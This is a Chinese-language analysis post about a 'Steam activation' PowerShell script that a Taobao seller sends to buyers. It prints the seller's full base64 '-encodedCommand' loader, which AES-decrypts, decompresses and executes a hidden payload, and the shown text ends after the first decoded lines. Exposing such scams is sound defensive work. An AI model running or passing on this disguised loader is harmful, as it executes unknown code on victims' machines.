淘宝商家的 Steam 游戏激活脚本分析
时间:2024-04-24
分析过程
商家以较低价格售卖 Steam 游戏 CDK,以吸引买家,在激活时会发送教程,告诉买家使用脚本激活 Steam 游戏
脚本下载完成后,只有一行,根据特征猜测是 Base64 编码
powershell -encodedCommand "JAB3AG0AcABrAGgAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiAAoAIAAgACAAIAAkAHIAbgBzAGkAZgBvAHIAZgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgArAFUAcgByAGkAQgBOAGYAbAB6AEkAUgA1AFoAZwBaAFgAVQAzAFIAMwBRAD0APQAiACkACgAgACAAIAAgACQAdQB2AGIAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgBCAG4AagB2AG4AWABnAGkAeQA5AFAARABaAGsARgBqAGUATgBTAGUAdgBpAGgAdQB5AFYARQAzAFQAbgBKAGMAUQBQADAAWQBCAEwAbwArAEsATQBVAE4AdgBCAC8AZwBoAFkAeQA2AHcAeQB2AGsAUABqAHEAUgBOAFAAdABZAE4ATwBLAGYAdABTAE0ARQBoAEQAawBnAFAAVgBCAFcAZABHAGcAZgB0AFcAdQBzAHEAYwBJAFYAVABxADMANgBJAFYAaABjAHUANABlAGoAWAB6ADUAQgA0AGQANwBrAHkAaAA0ADcAMABJAEIAawBjADEAVwBqAEcAcQAxAFgAaABFADgAdQBJAGkAagA3AEcAYgBSAHoARwBHADYAdQBTAGoAWQB6ADUAVABjAG8AeQAzAEcAZgBYAEQARgA0AGYAUwBuAE8AZQBIAE0AVwA1AFMAVABXAHMAdgBzAGcAdABxAEsAYgBuADcAegBOAHoALwBOAFgAVABUADgARABYADYAZQBlADEAcAA2AEMATABkAFcAZQBKAHcARwBXAGYAcABSAHgAWgBvAHUAMwBWAFUAZgB2AHMAVgBsAG4ARABSAFYAagBqAHEAYgA1AGkAYgBGAE0ATQBoAEgAWABlAGMAQQBNACsAWQBHADQARgBLAFAANgBLAHMAMQBhADkAMQByAE8ANABMAG8ATgA1AHQAdgBoAFUAbwBhAGEANwA3ADIAMAAzAHIAZwBpAGsAVABNAG0AUwBVAFkARwArAEQAbQBzAHAANABNAG0AZgBFAEIAUQBUAHQAYwA0AE8ATQBUAGoAWQBuAGUAeABVAEIAcwBOAEUAWAA0AFYASABHAEkAawBiAGIALwA5AHIAYwBUAGwAcQBCAFcAVQB0AEcASAArADMAYgByACsAVAB2AFMARQBBADUAUgBsAHcANgBIAEgAUQBtADcAQgByAHkAdwBYAEkAMwB5ACsARwBpADgAMwBKADgASgB1AEMAdwBCADQAdQB0AFgAeQAxAEsAVgBOADAAYgBKAE4AKwBGAHoAYgBYAC8ANQB5ADMAeAB5AGUAagBkAE8AUgBvAE8AeABCAHoASQBlAEIARQBxAEQARABIAHcAMAB5AGQAQwBSAEcAWgBZAHoAWABqAGYAOABIADAAbgBEADAATgBrAFcATABXADUAWQBQAEQAWQA3AG4ASgA2AC8AdwBWAEYAYwBkAHoAdQBGADEAWgB3AEMAVgBpAHkANwBvAHoAMgBXAGMARgBjAEsASgBoADcAVABEAHQAZAA4AGIAdwAxAEcASgBFAHEASQBxAGsAagB3AHMAUQBaAGIAdQBXAHQATwB1AFQAVwBVAFMAbQBLAEQATABtAGUAWgBxADYAeQAyAFYAWQBLAEMAdQB0AFUARAA3AFoAWQBkAG4ARQBiAGQAUQBVAE8AQwBUAGwAZwBXAGcAUQBpAEQASwBUAFAAbwBZAEUAeQB4AFoASABwADgATQA3AFQAOQBTAGoALwBUAHUANgB5AFgAMgBOADcARABvAFcAUgBKAFQAcQB6AEMASABoAFQASwBLAC8AbgBXAEoAWgBnAFQANQBvAGoAYwBmAG8AbwBQAG0AUQBrAFYASwAzAE8AYQBXAEUAUgA2ADYAYQBFAFcAeQBNAGgAUAB2AHIAMQA2AHQAMgBJADIAZwBsADIATgBRAFkANABiAFQAeABHADIAbwBEAGYAUQArAEsARgBGAGsAdwB4ADQASABZADMAdwBpAE0AcwB2AGUAbQBKADgAUwBrAFYAdAB3ADcAVAB0ADgAUwBjAHoANwB3AEMAbQBVAEYAagB3AG8ASABqAHMAMgB6ADkARQBqAFoAQQBlADcAZAAwAGoAYwBPAEEAYwBiAGwANQBJAFoAbABjADIAbwB2AHYAVABGAEQAVwB0AFYAdQBWAHoAaQBEAG8AdgA0ADIALwBEAFoASQB5AFkARwBTAFIAaQB5AHcAUAByAFEAdgA3AGQAbQBvAFAAMwBlAG8AYgBiAHkAbQBtAGgAQQBLAHEAWgAwAGMASABGAHQAbgB5AHoAVQBzADcAdgArADUAQQBzADAAWABtAEYAQQB3AE8AawBtAFUASgBPAGcAMQBLAE8ARgBrADUAVgBGAEQAcgBHAHYAWQBYAC8AcQBiADEAbABkAHYATABoADYAVgA2AGUASQB2AGoAUwB3AEwAZABzAEgASQAzAEQASABrADMAagBaAEIAMgBTAEwATQBnAHIASAAwAC8AVgBGAGgAaABOAHYAUwBnAGEAagBKAEgARQBQAGsAcABUAFYAcwBqAHAAVgAwAEEANABkAFAAeAB6ADAAVQBZAFYAcwBXAEYAeQBRAHoAYgBsACsAVwBEAHgARABtAFQAMQBZAHIAWgAvADEATgBOADEAQQBqAGoATwB1AGMAbQA0ADEATgB6AEEAawBqAFIANwBsAEYAUQBYACsARQBZACsAWQB6AFMAbQBTAC8AZgBhAHIAQgB2ADIASwBkAFgAaQBRAHAAQQBKAGkAVQAwAEYAMQByADQAawB4AHgAdwBWAE8AWgBOAEcAbQBsAGQANwB4AFQAMgBGAEwAawB4AEIAVABwACsARwBpAEUAUAA5AFgAVgBsAEwAQgBZAFEAeABDAHcAagBzAFAAWgB3AEUAOQBjAHIATQBMAEIAWABZAGkAQwBrAEgASQBlAGcARwBMAG0AawA4AFYATQBEADMAdwAzAHIAdwBzAHAAOAA4ADQAaQBuAHQAawBQAEoAcABaAFAARQBpADcARgByAG8AcABnAFMASgBIAE0AbQBMAEoAMgA3AE0AZwBpAFUAcQB2AEMARgBxAEoAWQBiAE0ARQBiAGUAUgBTAFEAYgBJAEcAYwBKAGgAbQBMAEEARwBNADYARwBHACsANQB4AFkAOABkAEgAbwB6AEwAcwBLADgANwBTAGEAOQBvADMAegBMAG4AUQBwAGYAcwB5ADUAMQBtADkAOQAxAGUAMAAyAG4ANwA4AGwAVQBhAEkAYwA5AGEAcwBUAFUAKwB2AHYATwBkAGMAYgBQAGIAYgBLAE0ARABIADAAWAA4ADkAYgAxAHgATABqAHIAUgBRAHkASwByAHQAVQBaAGUASABjAFQAdAAyAHkAagBWADkAcgBHADMAUwA0AFMAdwBpAEwAaABOAFAAbQB4AEIALwBTAEoAVQA0AHAALwBDAGYAdQBWAFYALwBzAEYAMwBuAFoAMwBnAEcAVQBjADgAawBmAGwARwBuAFYASABnADIAYgBMAGgAdABXAEIAQwBFAFAAWQBRADEAVgBPAFcAVwBtAEsAeABEAFQAawBBAFUAdAA4AGEAbwBPADgAYQBjAEkAbABoAHYAbQA0AFQANwB0AGEAOABMAFEAbQBXAC8AcQAxAGUASgB3AGkATABqADAANwBZAFEAegB5AEYAcwBMADkAWQB4AHgARgBmAHEAZABjAE0AUgBOADAAcABqAEgAUABvADUALwBSADgAZwBXAEcAbgB1AEEAcgBaAEwAUABUAFgALwA0AGMAYgB0ADAAaABtAHoANABkAEQANgB2AHMAaABSAFEAOABMAEkASQAwAHYAcgB2ACsAKwBTADYAQwAvAC8AbAAwAFYAcQAyADMAVwBuAEQASwBSADcAcwBmAGwAZAB2AEwAKwB5AGcAKwBTAFAAWQBLAEkAVABOAGkAbgBRAHQAegBXAHgASABpAHEAdgB3ACsAZwBjAHYAawBBAEoASABzAEMAMABpAHYARQBtAEoATAAvAEIAKwBHAGcARABsAGwAWABqAGwATQBWAEQATgBpAGoASgA5AHEAZgA3ADIAeABFAFAAWgBWAEYAdwBDAEQASABhAGoASwBkAFgAUgBDAG8AZwB1AHUAcQBQAHMARQB2ADcAawAxAFIASgBPAGkAegBHACsAdwBMAGYAVgB5AEoAWABsAGwASABXAHYAVQBLAFQAZgBzAGoAagA2AFcAdAB1AEoAVgAzAFkAcgBqAGYARQBSAFkAMQBXAFEAMAB6ADYAQQAzAEcAUQBkAGkASwAzAFAAUwAxAEQAQwBKAE4AUAA4AFQAdgBJAGcAUABPAGEAMAByAGkAZABLADEAcQB5AFQAMQB6AGMAMQBRADUAMgBKAEoAaQBDAHIAVgA4ADMAcQBZAHMAcQB3ADUARABEAEoAYwBPAGcAMAA0AHgASQBkAG4ANQAyADkAWABMADkANABIADkAbwBKAEQAUwBRAE0ASQB3AFMAOQBYAE8AcgA0ADQAWgBKAGwARgAvAG4ASQB6AHkATgB2AGIAWAB6AE8AVQAyAEUAVQBCAHEATQBnAHYAaQBFAGMANQA0AHEAMABFAHcAZgBDAEoAYQBpAFEATQBYAEsAYQBIAHkAOQArAGoAZABOAGkARwBJAHkAKwBQADMATAB2AHMAagBWAFgASgBlAGsANwBhAGIAdwBlAE0AUwBUAC8AaQByAHYANQBWAFkAawBXAHIANABxAE0AcQBvAEoANgBYAEUAQgA3AHUANgAvAFcAbwA4AE0AYwAwAFYAQwBGAFQANgB6ADQATQBUAE0AYQBXAEcAYwBKADgATwBSAFIAVwAxAHIAMABDAHYAdwBiAEIANABFAHAARQA5AHgANQBoAFYAZQA5AG8ANQA1AE4AVwBIAEMARAA3AHkAUwBXADcAMwBNAFUANQBFAGkAVABSAFEARQA4AHQAbQA1AHEAagB6AEwARABKADcAcgAwADkAcABaAGkARwBYAEYAegBjAEgAdgBRAFMAVgA1AHgAbgBGAE0AQwBhAG8ASgBTADkALwA2AGsAYwB5ADUAKwBSAEYAZgArAC8AeQByAE8AdgA2AGgARwBGAEoAbAB1AE8ATwBpADkASAA3AFcATwBsAFQAMABkAHoATABOAFEAeABmAHoAaQBkAGcAYQBlAFYAMQBiADkAcABZAHUAZABsAEcAdABwACsAbQBXAGkAZABTAEkAcABGAFcAQQB3AG4AbgBsAG4AeABPADcAWQBBAFoAUQBkADYAYgBnAGwALwA3AFEAKwBEAG0AUwBJAFcAZQA4AHUASABSAHcAWAA4AEsAVwAvAGoAdwBLAEcAagBOAG0AcgBGAFMAagBMAFMAWgA4AFQAcQBRAFEANQBEAEYATQBxADMAdQBWAGYAdgBlAHoASgBJADMANABDADIAcABXAEUASAAxAFkAZABFAEsAKwBxAEUAMgBMAEQAdwBIAFoATAAvADkAZAB2AFoAZgBuADkASgBYAEcATABGADYANgAwAGIAWQBNADYAawA3AEEAcABvADEAZABvAGYAUQBJAG4AdwBEAGEAdAAxAGIAdAA0AGIAMABpAFgAbAArAFQARwBrAG4ASABVAFYAMwBMAFQAUQBlADUAWgBVAGcAVQBWAHgAdwBTAC8ANgB2AGsALwAwADYAbwBRAHMATwA4AFYANQBVAFUAawBQADgAbQBxAHoANAA3ADAAVgB4AHMASAB2AEUAeQA1AEsAdABWAHMAbwBFAEEAdQBlAGcAZgBEAG0AYwBHACsAMgBZAC8AZgB4AEcAWAB6AGkARgBSAFQASQBHACsARwBRADgAcgBMACsAMgBhAFAAUQBqAFoAWAAwADYAZgA2ADcAbQAyAFgASQBOAGcAaQBMAGoAKwBOADMAZQBaAEkAKwA1AGEAaQB3AHUAdwArAEUAVABsAGYAKwBYAGUAMAByAFAAZABaAGEAOQBlAGsAcgBwAFAAdwBFAHcAaABMAHAAdQBNADcAYwArAEQARAB4AFAAdQBrAE8AWgBiAGEAZQBIAFYAagBvADIALwBLAHgAbAAvAEYAWABMAGUANgAyAHIAKwAyAHMAcwBUAFkAbAB0ADUAOAB2AHcAbgBvAHIAUwArAHAAMABzAEMAcgBlAGIAZABOAGEAQgBKAEwATAA4AE8AWgBEAGwANwBuAGMATgBCAG8AWgB0AHEATABhAG0AbwB4AFEARQBuADAANwBGADIAMgBHAHkAeABOAGcAUABsAGEATQA2AGsAZAA1ADAAdQBRAEUAegB1ADAAbQBHAEkAeAB6AEYAbQA3AGEAWABmAFIAWgBwAC8AUgArAGQAbgBGAEIAQQBpAG8AVQBnAFYAZgBhAC8AVgBMAEYAbABRAEsAOQBmAE4AVQBSAEQAdgBGAEQAcQBCADQAVwBIAEQAOQA5AFAAWgB0AGkASABvAEEAYQBUAFoAVgBPAG4AZABPAHIARgBoAGkANQBIADcAegBjAEEAegArAEYAbwBrAHkAeQBVADMAVgAwAFgAUQBhAE4AagA5AGUANABsADEAUwBJAEMAUwBiAFUAcgBzAEsAcwBSAFcAVwB0AHoATABCACsAdABoAE0ARABFADcANgByAGgASAA4AEsATABhAFoALwBaAG4AZABDADcASAB4AEsARQBkAFcARgBHAEsAeQBNAGUAdABsAGgAcABsAEsAZgAyAG0AagA1AEMAZABxAE8AWQBIAFkANwBMAE4ARwBzAGoARgBBADQAbwAvAGEATwBvAEsALwAzAHgATABGAGYANwBEADIAawBxACsARABvAEQAVwBrAGMARgB4AHEAUgBqAEQAZgBJAGIARABWAC8ARgBPAEUATQBoAFEAZgByAFgATQBlAFYATgBtADAAdgBuADAAYgArAHUAZgBjAFQAWABRAHMAYQBsAE0AZgBCAHMATABjAGkARQBsAHQAZAAxADMAQQBQAGUASgBFAFUAOQBiADIARABTAHoAbwBoADkAOAByAHoAYgBKAEEAcQB5ADkAWQBjAFAASwAwAFcARQBPADkAVgBLADgAMQBmADYAbgByAG8AdgBCAHQAbwBCAHkALwB0AEcAbQBWAEoAUwBLAGcATwBYACsAbQBhAGQAVgArAEsATQBWADEARwBlAEYAVgB6AFQARwBYAEkALwBQAHcAUQAwAFQAYQBzAEoAaABlAHUATQBwADcAVgBlADAAMwBpADcAUQBWAEgAcwA1ADYAMgBuAHQANABnAEYAcABGAGIASgAvAGcARgAyAHEAUgBwAHkAbwBtAEUAdABkADAAVQBsAFQAaABxADkAWgBhAHcAZgB3AFcAbABYAEMAbQBTAGcARABQADEATQBuAGgARABhAFkAUABQAGsAMwBKAFcAYQBHAFkAQQBLAFkAUwBKAFEAbQBOAEQAdwBiAGsAVABJADUAOABPAG0AUABUAFUANwB1AGMAdgBNAHQAUwBGAHEAcAB4AHYAeABPAGMAWABtAE0AWgBuAHoAYwBnAHEAMgBTAEwAOAA2ADAAbQB3AE0AcABZAHcAOAA2AHMAawA0AG0AdgBlAEUAcgBZAGsAVwBDAC8AWABHAGEASQBhAG8AaAAwADEAVABmAE8AeABQAGgAVABXAHQAZQBDAHgAcgB3AEIAYQB5AC8AegBXAGIANAA2AE4ASwA3AE4ASAB4AHQAdQBVADkANQBqAGEAOAByAFYAQwBlAFcAUgAxAGEANQA3AEEAZgBqADkANAAxAGUAUQBNAHQAVwA2AEsASwBSAHIAegB6AGUANABXAFcANQB1ADMAbAB2AGEAbQBKAFgAegBMAGYATwBBAEoAMQBhAE0ARQB1ACsAdgBiAE4ATAA4AHQAVABNADkAKwAvADUAUABpAGsARgBnAGoAcQAwAG8AbgA3AFoANQBkAEQAZQB6AHIAdgBXAEMAegA4AFYAbAB5ADYASwBXAEMAYwBhAGkASQB0ADMAUQAyAHkATQByADQAYQA1AHYAOAAxAEUAaQBvAHgAUwBwAFAAcAA3AHMAUwBXAEEAWABYAEkASQBRADAATgBGAGYAcwAzAGYAbQBUAEkANAB6ADYAdgBLAC8AVQBhAE4AWgA3AEUANwBaAHUAYQBUAEsAWQAxAG4AYwBFADcAVQB0AGUAaAB0AGEARQBqAHoAQwBiAHIAWgBBADcAaQBtAHkAagBoADcAUQBiAHcAZQB6AEgAagBrAFYAcQBCAEIAaAA0AEUAbAB1AHoASQA4AGgAbQBKAHUASgBPAHAATgBGAE8AZgBrAEEAQwBNAFYAUwB2AHYAMAA5AGwATwBmADMATwBpAGwATQBCAEYAOQBlAFkAdAB1AGUAdQAyAHgAVwBtAGMAdABEADMASwB2AGQAMgBoAEsAdgBPAFMAKwB0AFIAVABGAEcAbwAzAGYAWABRAGsASgBKAG8AdwBIAEMAWQBxADgAOQBOAFoARABVAFIAVABHAHYAbAByAGsAVABjAEYAUgBVAEoAZABNAEIAVgAxAG8AQwBoAEwAdABRAGcAUwBJAFUAdwBZAFYAWABvAEoAYQBxAE0AdwBYAGIASwBqAHgAKwBhADMAawA5AGMAZwBQADEAMwBMADIANwArAEkAWgA5AE8ARgB1AFYASQBoAFMAeAB4ACsAdABRAGIASgBmAEoAVABJAEIATQB2AE8ASgA4AGMAdABiAHcAeQBlAGUAKwBvAGgAUAB0AFEANQBnAEwAQQBvAGsARgAvAGUAOQBqAFkAcgBoAGoAZQBnAGcAWgBuADQAaQBXAHUAOABFAGYAMABGAEsASgBqADQANgBEAHgAWgBRAHYAKwBxAFcANAArAGYARwBxAHgANgBBAEcAYwBoADYAdgBvAGMAaABYAEgAawA0AEMAeQBRAGcASgArADIAWAA4AEUATABBAFAAQQBrADYAQQAyAGsAagBzAEMAUwBHAGgAcAB2ADAAeAB5AHcARwBPAG4ASQBpAHgAeQA2AFkALwBWAGEATgBJAFgAUwBFAFEAMQB0AG4AegBYAGwAMQArAHMAVgBoAGYASQBXAEwAYQAxADIAcgBCAGUAVwBMAFMASABVAGMAUABIAGEARwBiAC8AdAA4AE4AegBSAC8AYwBlAGgAdQAwADAAVgBEADEAOABFAFoAcgBiAGcAYQBTADIATwB3AEgAWABtAE8AQgAyAG8AdABhAGMAawAyADMASwAxAGsAagBCAEQAOAB1ACsAcwB3ADcAUwBoAHYAcAA2AHIAeABYAG4ARQBRADcAegBnAFIAdgB5AFMATgBtAHgARAB5AGgAZgBSAEIARABsAEIAcQAwAEwAdgBxAHAASgBwAGoAagBJAEUAVQBBAEwAOQBQAHcAaABZAEMAdwBKADEAMQBzAEoAMQAxADcASgAzAEwATAAyADkAeAA2AFEAbwBiAG4AYQA2AC8ASgBnAFoAdgBCAEEAMABMAFQATAA4AEwANABpAE0AOABwAG8AcQA1ADAAegA4ADIATgBlAEUAMwB6AEsAaQBrAE4AcgBqAFEAdwAzAGYAUwA2AHgAMgA4AGMAdQBIAG0ASwBiAG0AWAB6AC8AaQBKAE4ARgBGADQAegBkAEoAWABnAEIANQBvADEAeQAyAGUAZQBOAG0AWQBjAGwAOABNAEIAUwBFAGQAbwBBAFYAMwBmAGcAYwAvAG8AawBrAE8ATQAwAFgAdAAzADEAMQBEADEATwBWAE4AYgA5ADEAZAB5AEQAMwBNAFMAMwBIAEgAUQBrAFUAbwBMAGMAUwBSAEIAUAByAEQATQBKAHQAVQBSADkAOABWAEYAMQBWAEoAYQBFAG8ARQAzADQAQgBaACsAQgBvAHoAMgBuAFEAOQBvAFEATwBRADcAWgB6ACsAQgBWAGkATQBkAEEAKwAvAFYATgBVAFMAbwA4AEQAdQBUAGwANgBmAGkAQQA5AE8AWgBCAGwAcgBtAGcAVwBLAHQAYwBpAGEARABDAGMASQBGADMASABPAGcAeQBzAGIAdABnAGsAYQBqAEUATQBJAEIAYwBkADAAYQBGAG4ATgBkAEwAWQAxAEUAawA4AHQAUwB5AE4AUQBuAEoANQBGAGIAaQBpAFIATwBRAHUAMgBUAEkAcwBCAFoASwBTAFEAegBIAEcAMwA3ADMAVABLADAAVAB3AGIARgBFAHYAaAAyADQATgBoAFEAVgBaAHkAUwBBAGMAYQBOAEsASgBGAEwAOQB6AGUANQAxAFoAKwBoAFIAWQBMAGcAbAAxAFIASgAxADIAUwBjAEkANABhAEsAYwB6AGIAcgBrADkASwB6AG4ATwBsAE0ASQA0AHQAegBXAGMAYQAvAEsANQBsAHMANwBUAEcAeQBzAFIAbAByAEkARQBtAGsATwBhAG4AeAA4AHcAOABZAEcAQQBwAGEARQBhAFAATgAxADQAWAA3AG4ANgBIAFcAUQA0AGIAcgB2AFoAOABnAHQAOABZAHgAKwBmAHEATgBZAG4AdQAzAGkAYgB0AG0AcgBqAGMAVQAxAG0AVwBLAHIAVgBBAEEAMwBaAFoAawBuAHAAMQBpADYATgBCAGwAMgBtAEQAcgA5AGMAMQA5AFYAZABPAGgAQwBkAEcAWAB5AGsAYgB2AFAAdABQAEMASwBMAG8AbABsAG8AawB6AEUAYwA2ADgAdQBiAGMASQB5AEoAKwBFAHYAUwBBAEwAMgAxAEsAdwB2AEUAVQBBAGQATgBrAHUAbQBWAFIAUgBEAGgAcgA3AHMAeABnAFMAZQBaAG8ALwBwAG0AegBEAEkAVgBwAHEATQA2ADQAbgAzAHgAaQBzAEcAbgBRAEUAWQAvAHgAMQBPAHoAWgA3AFMAYwBaAEsARwB3AFUANQBYADAAVAB3AGsAKwBvAFQAZwBlADgANQB2AFQAWABzAHIAWQB4AHQAWQBtAFIAQgA1AHYAZwB5AGsAOAAwAFcANABSAEUAQQBSAHgAYgBFAFQATwBZAGYAVwA4AHQAYwA0AGgAVwBZAEIALwB2AEgARABzAHAAMQBwAFUAaQA4AGMARQBOAE4AVgBDAGsAdwBTADEAMAA2AFUARQArAGQAKwBYAFgARQA0ADQAdgB4AHoARQBzAEgATABiADUALwBXADMAWgBGAHkAUQBOAGsANwBDAFMAagBPAHEANwA5AFgAbQBwADAAawBsAFUAcQB0ADcARgBGAHoAYgBYAEsAUwA5AGMAagBMAFQASQBTAHAARgBhAEUASwB3ADYAcQBPAHIAVQBOAHoAeQBrADAAMQBxAHYAegA0AGcAWABwAFAAaAAzADQAMgArAEcAagA1AFQAVQBFADAAVQBzAHgAVwBRAEkAeQA4ADQAcABvAHQAWgBzADQANwBjAGYATQB3AEcAQgBnAHIAVwBZADMAegArAFgAQgBkAFEATQBzAEoATQAzAGUAagA1AGoAZwBVAEcAYQBLAHAANABXAFEANQBEAEQAdgBZADQAOABKAHAAUQByADIAQgA3AEUASAArAEwAQwBUAEUAZABDADUAZgBpADUAVQAzAC8AaABMAHMAagBYAFQAZABsADUAeAB0ADkARQBNAG4AQQBHAGcAVABxAFoATwBNAEwASwBmAFoANgBDAFAAbwA0AGEANwBXADMARAArAHQALwBGAEcAUgBzADgAVgB6AE8AYwB4ADYATgA4AG0AagBTAFEAcABqAGIAdABtAC8ALwBqAFQALwBTADUASQBhAGgARwBQAGsATwBTAHMAbQBXAHAAYQBTAHkARgBpACsAcwBJAE0AQQBvADYAKwA4AHMAZQBUADIAWQBjAGUAdwBvAFMAMwBaAG8AUgAwAHYAcABrAFEAbgBUAEgAWgBOAHcAUwBxAFIAUABtAHoAOAAxAFYARgBKAHcAdwByADEARQBnAHAARQAxAEEAKwBlAHIAOABHAEcAOQAyAHYATwAwADAANQBRAE0ASABLAGQARwBVAEIAZQA3AGsANwBVADMAeAAyAEMASwBPADEAQgBZAFoAVgBhAEUATgAzAEgAVQB6AEIATABWAG8AOABsAGUAMgBKAFYAcABQAG8AcQA3AHAAVgBjAFIAYwBoAG8ATgBFAHgAZQBRAEoAVABmAFgAUABRAFYAWABvAHcAdgBLADMAbwB5AGEAMQBoAFkARgBGAFYATgB3ADYAVgBkAFgAQwBoAHcAUgBLAHMAUgBXAFMARQBUAGUARgAxAGgAeQBSAGQAOAA5AFIARQBkAGIAawAwAFgAbABIAGkARQBlAEkAOABmAEwAQwBUAFoAegBCADQAMwBXAGsANwAyAE8AMAB5AEwAZQB6AGQAWAB4AE8AcwB0AHkAMwBSAFUASQBqAFcAcAAzAHAAYQBxAG4ATgByADkAcwA1AHMANgBYAG4AMgBJAGkARgBkAFUAdwBwAFEAWgByAHQAVgBEAEsARgA1AFMAUQBDAHYAdQA4AEQATwBOAFkAVwA3ADAAVwBzAFUAZABUAGYAWABJAHMAYQBNAGwANQB6AFQAQwBaAGMATwAzAHMANQA2AGoAbABnAFIAOQBJAHkAYwBXAEgARgAyAEIAMABBAEEARgA2AGQAVgBoAGUAaQBSAEEAdQAwAGsAVQByAFgAdwBjAHMAdAAwAFQATAAyAE4AQQBNAFUAagA2AG4AMQBKAHoAQwBkAHcAOABZAGcAUgA2AHQAbQBjAFkARABJADgANgBzAGcAcwByAE4AVABBAGIANgAzAGoAagBpAEUAOABWAFoAegBFADMAMQB2AC8AVQBzAHUASwByAEUASgBkAHAASgBDADYAcgBoAEEAOABqADMAbABUAHUAYwBOAGQAVgBuAHEAaAA1AHcAOQBGAGMAaQBWAFAANQAxAGcATgB5AHIAWABEAFcAUQA5AHYAYgBQACsAQQBMAHEAcwB0AFEAcABhAE8AcQBWAEQAUgBmAEUAaAAzAHEAVgBsAHMAbgAwAE4AYgBqADUAVQBKAG0AOABmAE0AQwAwADIAcgByADAARwBMAGwAUABBAFIAZABSAGsAYwBXAFgAQQBJAHIAMgBlAFcAbABpADAAVgBmAFEANgAyAEIAMABqAEUAdwA5AEUAQQBjAGcAOQBqAGYAUgByAGYARgBGAEcAeQA1AHMATABpAGgANQBGADEAMABSACsARgBYAHgAdQBvAGEAVABwADMAVABaAEQAbQBBAFgAYwBiAEIAVQA0AGwARQBLAGUAaABiAHgATgBtAGIATQAwAEMAaQBWAHEANwBBAEQAVQBlAFIAIgApAAoAIAAgACAAIAAkAHcAbQBwAGsAaABzAC4ASwBlAHkAUwBpAHoAZQAgAD0AIAAxADIAOAAKACAAIAAgACAAJAB3AG0AcABrAGgAcwAuAEsAZQB5ACAAPQAgACQAcgBuAHMAaQBmAG8AcgBmAAoAIAAgACAAIAAkAHcAbQBwAGsAaABzAC4AUABhAGQAZABpAG4AZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAGEAZABkAGkAbgBnAE0AbwBkAGUAXQA6ADoAWgBlAHIAbwBzAAoAIAAgACAAIAAkAHcAbQBwAGsAaABzAC4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAHcAbQBwAGsAaABzAC4AQgBsAG8AYwBrAFMAaQB6AGUAIAA9ACAAMQAyADgACgAgACAAIAAgACQAdwBtAHAAawBoAHMALgBJAFYAIAA9ACAAJAB1AHYAYgB0AFsAMAAuAC4AMQA1AF0ACgAgACAAIAAgACQAeAB4AHIAaABhACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtAAoAIAAgACAAIAAkAGcAawBmAHEAZQB5AHMAZQB3ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAHcAbQBwAGsAaABzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAdQB2AGIAdAAsADEANgAsACQAdQB2AGIAdAAuAEwAZQBuAGcAdABoAC0AMQA2ACkAKQAKACAAIAAgACAAJABiAHQAcgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGcAawBmAHEAZQB5AHMAZQB3ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApAAoAIAAgACAAIAAkAGIAdAByAGcALgBDAG8AcAB5AFQAbwAoACQAeAB4AHIAaABhACkACgAgACAAIAAgACQAdwBtAHAAawBoAHMALgBEAGkAcwBwAG8AcwBlACgAKQAKACAAIAAgACAAJABuAHYAbwBiACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAeAB4AHIAaABhAC4AVABvAEEAcgByAGEAeQAoACkAKQAKACAAIAAgACAAJABiAHQAcgBnAC4AQwBsAG8AcwBlACgAKQAKACAAIAAgACAAJABnAGsAZgBxAGUAeQBzAGUAdwAuAEMAbABvAHMAZQAoACkACgAgACAAIAAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAoACQAbgB2AG8AYgApAA=="
使用Bas64 解码,得到脚本
$wmpkhs = New-Object "System.Security.Cryptography.AesManaged"
$rnsiforf = [System.Convert]::FromBase64String("+UrriBNflzIR5ZgZXU3R3Q==")
